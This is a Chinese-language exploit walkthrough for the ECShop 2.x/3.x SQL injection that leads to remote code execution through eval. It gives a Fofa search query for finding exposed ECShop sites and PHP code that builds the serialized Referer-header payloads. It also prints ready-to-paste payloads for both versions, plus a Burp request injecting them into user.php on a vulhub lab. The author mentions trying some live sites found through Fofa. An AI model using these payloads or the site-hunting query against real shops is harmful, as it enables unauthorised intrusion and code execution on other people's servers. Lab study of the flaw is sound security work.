

# ecshop 2.x/3.x sql 注入/任意代码执行漏洞

## 前言：

该漏洞影响 ECShop 2.x 和 3.x 版本，是一个典型的“二次漏洞”，通过 user.php 文件中 display() 函数的模板变量可控，从而造成 SQL 注入漏洞，而后又通过 SQL 注入漏洞将恶意代码注入到危险函数 eval 中，从而实现了任意代码执行。

值得一提的是攻击者利用的 payload 只适用于 ECShop 2.x 版本导致有部分安全分析者认为该漏洞不影响 ECShop 3.x，这个是因为在 3.x 的版本里有引入防注入攻击的安全代码，通过分析发现该防御代码完全可以绕过实现对 ECShop 3.x 的攻击。

## Fofa 语法：

body="ECSHOP v2.7.3"

The screenshot shows the Fofa search engine interface. At the top, the search bar contains the query `body="ECSHOP v2.7.3"`. Below the search bar, there are two main sections: "网站指纹排名" (Website Fingerprint Ranking) and "国家/地区排名" (Country/Region Ranking). The "网站指纹排名" section lists several results, including "83fTL...", "WJGY...", "6VVnh...", "77xulyi...", and "RgnN...". The "国家/地区排名" section lists results for "中国", "中国香港特...", "美国", "新加坡", and "中国台湾省". On the right side, there is a detailed view of a specific result, showing the HTTP status "HTTP/1.1 200 OK", the connection type "Connection: close", the transfer encoding "Transfer-Encoding: chunked", the cache control "Cache-Control: private", the content type "Content-Type: text/html; charset=utf-8", the date "Date: Fri, 29 Jul 2022 17:02:19 GMT", the server "Server: nginx", and the set-cookie "Set-Cookie: ECS\_ID=342ca31f90d800f544".

Fofa 可以搜到的也不少，但是这个版本大多被修复，我尝试了几个无果之后就放弃了。

## 环境搭建：

基于 vulhub 靶场搭建，启动目录：vulhub-master/ecshop/xianzhi-2017-02-82239600/

启动命令：docker-compose up -d

启动后访问 ip:8080 即可

根据指示安装一下即可



下面的全是绿色就下一步



这里数据库主机如下图，用户名和密码都是 root，其余随便写



## 正文：

根据漏洞文档说的，下面的代码可以生成两个 poc

```
<?php
$shell = bin2hex("{\${asd}];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
    "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
    "id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
```

```
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
?>
```

需要用 phpstudy 打开，我懒得搭建，就找了网上生成好的直接复制使用  
一个是 2.x 的：

```
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT
1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7
d787878,10-- -";s:2:"id";s:11:"-1' UNION/*");554fcae493e564ee0dc75bdf2ebf94ca
```

一个是 3.x 的：

```
Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT
1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7
d787878,10-- -";s:2:"id";s:11:"-1' UNION/*");45ea207d7a2b68c49582d2d22adf953a
```

拿到这两个 poc 之后，我们访问搭建的用户登录界面，打开 burp，刷新登录页面，然后发送到重发器，插入 poc（红色位置）

GET /user.php HTTP/1.1

Host: 192.168.43.111:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

```
Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT
1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7
d787878,10-- -";s:2:"id";s:11:"-1' UNION/*");554fcae493e564ee0dc75bdf2ebf94ca
```

